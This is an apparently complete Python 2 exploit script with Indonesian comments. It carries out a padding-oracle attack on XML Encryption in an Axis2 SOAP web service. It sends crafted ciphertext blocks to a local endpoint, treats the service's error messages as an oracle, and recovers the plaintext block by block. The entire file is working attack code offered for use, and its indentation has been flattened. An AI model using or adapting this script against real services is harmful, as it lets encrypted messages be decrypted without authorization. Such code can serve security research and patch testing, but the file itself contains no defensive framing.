#!/usr/bin/python
import urllib,sys,base64,urllib2
from urllib2 import URLError
def split_len(seq, length):
return [seq[i:i+length] for i in range(0, len(seq), length)]
def decryptBlock(origIV, bloktarget):
# Mencari IV yang membuat single byte padding
iv_pad0x01 = findIV(origIV , bloktarget)
# Mencari byte ke-16 intermediate value
imvalue = [None] * 16
imvalue[15] = ord(iv_pad0x01[-1:]) ^ 0x01
for j in range(1,16): # j = 1 s/d 15
aset = findASet(iv_pad0x01, bloktarget, j)
jmlaset = len(aset)
mask = aset[0]
if jmlaset == 1:
for idx, mask3C in enumerate(mask3C1):
if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C):
imvalue[j-1] = ord(iv_pad0x01[j-1]) ^ mask ^ kandidat1[idx]
break
if jmlaset == 2:
for idx,mask3C in enumerate(mask3C2):
if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C):
if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C ^ 0x2F):
imvalue[j-1] = ord(iv_pad0x01[j-1]) ^ mask ^ kandidat2[idx]
else:
imvalue[j-1] = ord(iv_pad0x01[j-1]) ^ mask ^ mask3C ^ 0x2F ^ 0x09
break
if jmlaset == 3:
for idx,mask3C in enumerate(mask3C3):
if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C):
if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C ^ 0x2F):
imvalue[j-1] = ord(iv_pad0x01[j-1]) ^ mask ^ kandidat3[idx]
break
ch = imvalue[j-1] ^ ord(origIV[j-1])
sys.stdout.write(chr(ch))
sys.stdout.flush()
ch = imvalue[15] ^ ord(origIV[15])
sys.stdout.write(chr(ch))
sys.stdout.flush()
return imvalue
# j adalah byte ke (1 s/d 15)
def findASet(prev,current,j):
aset = []
# Byte mask 00,10,20,30-70
for R in range(0,8):
msk = 16*R
iv = prev[:j-17]
iv += chr(ord(prev[j-1]) ^ msk)
iv += prev[j-16:]
if theOracle(iv, current) == False:
aset.append(msk)
return aset
# j adalah byte ke (1 s/d 15)
def isTypeA(prev,current,j,mask):
iv = prev[:j-17]
iv += chr(ord(prev[j-1]) ^ mask)
iv += prev[j-16:]
if theOracle(iv, current) == False:
return True
return False
def theOracle(prev,current):
url = 'http://localhost:8080/axis2/services/sample09'
action = 'commandExecute'
soap = ''
soap += ''
soap += ''
soap += ''
soap += ''
soap += ''+url+'urn:uuid:5A92A276E09A5286FE1365170604478'
soap += 'urn:'+action+''
soap += ''
soap += ''
soap += ''
soap += ''
soap += 'SessionKey'
soap += ''+base64.b64encode(prev+current)+''
soap += ''
soap += ''
soap += ''
clen = len(soap)
req = urllib2.Request(url, soap, {'Content-Type': 'text/xml', 'Content-Length': clen})
oraclestatus = False
content = None
try:
f = urllib2.urlopen(req)
content = f.read()
oraclestatus = True
f.close()
except URLError, e:
content = e.read()
if content.find('WSDoAllReceiver: security processing failed') > -1:
oraclestatus = False
if content.find('unknown') > -1:
oraclestatus = True
return oraclestatus
def findIV(prev,current):
ivlist = map(ord, prev)
validmask = []
jmlvalid = 0
jmlvalid2 = 0
counter = 0
while jmlvalid < 16:
counter += 1
jmlvalid2 = jmlvalid
prev = "".join(map(chr, ivlist))
pset = []
for i in range(0,128): # brute force 00 - 7F
paramiv = prev[:-1]
paramiv += chr(ord(prev[-1:]) ^ i)
if theOracle(paramiv, current):
pset.append(paramiv)
jmlvalid = len(pset)
if jmlvalid < 16:
pos_lessthan = jmlvalid
ivlist[pos_lessthan-1] = ivlist[pos_lessthan-1] ^ 1
masktypeA = []
masktypeB = []
for p in pset:
if ord(p[-1:]) & 0x10 == 0x10:
masktypeA.append(p)
else:
masktypeB.append(p)
if len(masktypeA)==1:
iv_pad0x10 = masktypeA[0]
if len(masktypeB)==1:
iv_pad0x10 = masktypeB[0]
last_imval = ord(iv_pad0x10[-1:]) ^ 0x10
mask0x01 = last_imval ^ 0x01
iv_pad0x01 = iv_pad0x10[:-1] + chr(mask0x01)
return iv_pad0x01
##############################################################################################################
origcipher_b64 = sys.argv[1]
origcipher = base64.b64decode(origcipher_b64)
ciphertext = origcipher
blokcipher = split_len(ciphertext,16)
jmlblok = len(blokcipher) # Jumlah blok termasuk IV
kandidat1 = [ 0x19, 0x1A, 0x1D ]
mask3C1 = [ 0x25, 0x26, 0x21 ]
kandidat2 = [ 0x00, 0x10, 0x01, 0x11, 0x02, 0x12, 0x03, 0x13, 0x04, 0x14, 0x05, 0x15, 0x07, 0x17, 0x08, 0x18, 0x0B, 0x1B, 0x0E, 0x1E, 0x0F, 0x1F ]
mask3C2 = [ 0x3C, 0x2C, 0x3D, 0x2D, 0x3E, 0x2E, 0x3F, 0x2F, 0x38, 0x28, 0x39, 0x29, 0x3B, 0x2B, 0x34, 0x24, 0x37, 0x27, 0x32, 0x22, 0x33, 0x23 ]
kandidat3 = [ 0x06, 0x16, 0x26, 0x0C, 0x1C, 0x3C ]
mask3C3 = [ 0x3A, 0x2A, 0x1A, 0x30, 0x20, 0x00 ]
print
for i in range(1,jmlblok-1):
origIV = blokcipher[i-1]
bloktarget = blokcipher[i]
imvalue = decryptBlock(origIV, bloktarget)
print